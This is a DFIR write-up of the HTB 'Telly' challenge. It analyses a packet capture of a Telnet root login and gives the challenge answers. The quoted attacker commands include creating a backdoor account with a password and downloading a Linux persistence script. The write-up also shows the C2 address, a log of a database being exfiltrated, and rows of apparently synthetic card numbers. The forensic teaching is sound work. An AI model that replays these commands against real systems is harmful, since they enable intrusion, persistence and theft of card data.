

DFIR Investigation Report (HTB Telly)

Telnet Exploitation, Persistence, C2 Communication, and Data Exfiltration Analysis

1. Initial Situation

I received a `.pcapng` file for analysis. [Link to download .pcapng](#)

In Digital Forensics and Incident Response (DFIR), the first rule is:

Do not guess.

Do not assume.

Let the traffic tell the story.

So the first question is:

What protocols exist in this capture?

Protocols show us what kind of communication happened inside the network.

2. Step One: Check Protocol Hierarchy

In Wireshark:

Statistics → Protocol Hierarchy

Protocol	Percent Packets	Packets	Percent Bytes	Bytes	Bits/s	End Packets	End Bytes	End Bits/s	PDUs
Frame	100.0	23273	100.0	6184023	48 k	0	0	0	23273
Ethernet	100.0	23273	5.5	341708	2,690	0	0	0	23273
Internet Protocol Version 6	0.8	193	0.1	7800	61	0	0	0	193
Internet Protocol Version 4	97.9	22778	7.4	455600	3,587	0	0	0	22778
User Datagram Protocol	5.5	1269	0.2	10152	79	0	0	0	1269
Transmission Control Protocol	92.4	21499	12.1	751124	5,914	16672	604880	4,763	21499
Transport Layer Security	2.9	677	55.4	3428550	26 k	677	2610593	20 k	863
Telnet	17.8	4136	1.6	95870	754	4135	95869	754	4136
Malformed Packet	0.0	1	0.0	0	0	1	0	0	1
Hypertext Transfer Protocol	0.1	14	0.0	2999	23	10	2248	17	14
Line-based text data	0.0	3	0.0	615	4	3	615	4	3
Data	0.0	1	0.2	12288	96	1	12288	96	1
Internet Group Management Proto...	0.0	10	0.0	160	1	10	160	1	10
Address Resolution Protocol	1.3	302	0.1	8456	66	302	8456	66	302

Why This Step?

Protocol Hierarchy gives:

- Overview of traffic distribution
- Suspicious protocols
- Immediate red flags

It is one of the first checks any DFIR analyst performs.

Observations

Total Packets: 23,273

That is a medium-sized capture.

Important findings:

Telnet = 17.8% (4,136 packets)

This is significant.

3. Why Telnet Is a Red Flag

Telnet is insecure because:

- It sends data in cleartext
- It sends username and password in plaintext
- No encryption
- It is outdated

Modern systems use SSH instead of Telnet.

Therefore:

Telnet appearing in 2026 is highly suspicious.

In DFIR thinking, this means:

- Possible unauthorized remote login
- Possible brute-force attempt
- Possible attacker interaction

Telnet in a PCAP is a strong investigation lead.

4. Deeper Protocol Analysis

IPv4 = 97.9%

Normal. Most traffic uses IPv4.

TCP = 92.4%

Expected. Most applications use TCP.

TLS = 55.4% of Bytes (but only 2.9% of packets)

This tells us:

- Encrypted communication exists
- Possibly HTTPS browsing
- Large data transfer

This is not suspicious by itself.

But Telnet remains the focus.

5. Investigating Telnet Traffic

Step 1: Filter Telnet

In Wireshark display filter:

telnet

Now only Telnet packets are visible.

This isolates suspicious traffic.

Step 2: Follow TCP Stream

Right-click a Telnet packet →
Follow → TCP Stream

Why Follow TCP Stream?

This reconstructs the entire session between client and server.

Instead of seeing packets separately, we see the full conversation.

6. Findings from TCP Stream

Inside the stream:

```
Welcome to Ubuntu 24.04.3 LTS  
Linux 6.8.0-90-generic  
Hostname: backup-secondary  
IP: 192.168.72.136
```

This confirms:

- A Linux system was accessed
- Someone successfully logged in
- Telnet was used

Since Telnet is cleartext, everything is visible.

7. Attacker Indicators

The stream shows:

```
kali:0.0000  
USER=root  
DISPLAY=kali:0.0000  
XTERM-256COLOR
```

This suggests:

- Attacker machine likely Kali Linux
- Logged in as root
- Interactive shell session

This is remote shell access.

8. Task Answers and Investigation Findings

Task 1

CVE associated with Telnet vulnerability:

Answer:

CVE-2026-24061

```
00%000000 00#00'00$
00%000000000000 00#00'00$
00 0000#0000'000000
00 38400,384000000#kali:0.00000'USER-f root)ISPLAYkali:0.00000XTERM-256COLOR00
000000"000000!
000000"00"bb B
```

Task 2

Time of successful exploitation:

Answer:

2026-01-27 10:39:28

This was identified from timestamps in the Telnet stream.

```
000000"
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-90-generic x86_64)

* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:       https://ubuntu.com/pro

System information as of Tue Jan 27 10:39:28 UTC 2026

System load:  0.01          Processes:            224
Usage of /:   40.8% of 13.67GB Users logged in:          1
Memory usage: 8%           IPv4 address for ens33: 192.168.72.136
Swap usage:   0%

* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
  just raised the bar for easy, resilient and secure K8s cluster deployment.
```

Task 3

Hostname of targeted server:

Answer:

Backup-secondary

```
57 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

[?2004h]0:root@backup-secondary: ~root@backup-secondary:~#
i
i
d
d
```

9. Root Access Confirmation

From the stream:

```
root@backup-secondary:~#
uid=0(root) gid=0(root)
```

Meaning:

- UID = 0
- Full administrative privileges
- Direct root login

This was not privilege escalation.

It was direct root access.

10. Persistence Creation

Attacker executed:

```
sudo useradd -m -s /bin/bash cleanupsvc;  
echo "cleanupsvc:YouKnowWhoiam69" | sudo chpasswd
```

This means:

- Created new user
- Set password
- Established persistence

Backdoor account:

Username: cleanupsvc

Password: YouKnowWhoiam69

```
rw-r--r-- 3 root root 4096 Jan 26 12:37 /01;34m.local[0m  
rw-r--r-- 1 root root 161 Apr 22 2024 .profile  
rw-r--r-- 2 root root 4096 Jan 26 12:35 /01;34m.ssh[0m  
22004h10:root@backup-secondary: ~root@backup-secondary:~#  
200~sudo useradd -m -s /bin/bash cleanupsvc; echo "cleanupsvc:YouKnowWhoiam69" | sudo chpasswd[201~  
7msudo useradd -m -s /bin/bash cleanupsvc; echo "cleanupsvc:YouKnowWhoiam69" | sudo chpasswd[27m
```

Evidence in /etc/shadow

```
cleanupsvc:$y$j9T$Z2NfVvVsu8gxGb1aZtCRr.$Ed0czry6SpByLodMiTs7wESQ2QwVG0Vk  
WbNFCIKlv1
```

Confirms:

- Account successfully created
- Password hashed
- Persistence established

Classic attacker pattern:

1. Gain root
2. Create hidden user
3. Maintain access

11. Persistence Script Download

Command used:

```
wget https://raw.githubusercontent.com/montysecurity/linper/refs/heads/main/linper.sh
```


C2 Server

Answer:

91.99.25.54

13. Database Exfiltration

HTTP server log shows:

```
720041
erving HTTP on 0.0.0.0 port 6932 (http://0.0.0.0:6932/) ...
92.168.72.131 - - [27/Jan/2026 10:49:52] "GET / HTTP/1.1" 200 -
92.168.72.131 - - [27/Jan/2026 10:49:52] code 404, message File not found
92.168.72.131 - - [27/Jan/2026 10:49:52] "GET /favicon.ico HTTP/1.1" 404 -
92.168.72.131 - - [27/Jan/2026 10:49:54] "GET /credit-cards-25-blackfriday.db HTTP/1.1" 200 -
```

27/Jan/2026 10:49:54

GET /credit-cards-25-blackfriday.db

This indicates:

Sensitive database downloaded.

Answer:

2026-01-27 10:49:54

14. Extracting the Exfiltrated File

Step 1: Filter HTTP

In Wireshark:

http

Step 2: Export Objects

File → Export Objects → HTTP

Locate:

credit-cards-25-blackfriday.db

Save the file.

15. Analyzing the SQLite Database

Open terminal:

```
sqlite3 credit-cards-25-blackfriday.db
```

List tables:

```
.tables
```

Query purchases:

```
SELECT * FROM purchases;
```

Search for:

Quinn Harris

```
8|riley.patel@hotmail.com|5109346672819053|2025-12-04|External SSD
9|devon.ng@gmail.com|4670912384567021|2025-12-05|Gaming mouse
10|skTyler.wong@hotmail.com|5234907812669348|2025-12-06|Mechanical keyboard
11|avery.singh@gmail.com|4147098863215504|2025-12-07|Noise-cancelling headphones
12|quinn.harris@hotmail.com|5312269047781209|2025-12-08|4K monitor
13|reese.clark@gmail.com|4019283746650197|2025-12-09|Portable charger
14|peyton.adams@hotmail.com|5561048937712906|2025-12-10|Wi-Fi router
15|harper.baker@gmail.com|4920187364501293|2025-12-11|Action camera
16|rowan.mills@hotmail.com|5408619925743018|2025-12-12|Drone
17|drew.evans@gmail.com|4638201947563317|2025-12-02|E-reader
18|logan.scott@hotmail.com|5207743198604425|2025-11-27|Smart home camera
19|kai.reed@gmail.com|4096127735501842|2025-12-06|Smart light bulbs
20|blake.turner@hotmail.com|5536901274485011|2025-11-30|VR headset
```

Result

Credit card number: **5312269047781209**

16. Complete Attack Chain

1. Telnet vulnerability exploited
 2. Root access obtained
 3. Backdoor account created
 4. Persistence script downloaded
 5. C2 communication established
 6. Sensitive database exfiltrated
-

17. Key DFIR Lessons

- Always check Protocol Hierarchy first
- Telnet in modern networks must be investigated
- Follow TCP Stream for cleartext protocols
- Look for persistence mechanisms
- Analyze outbound traffic
- Extract transferred files
- Confirm findings with database analysis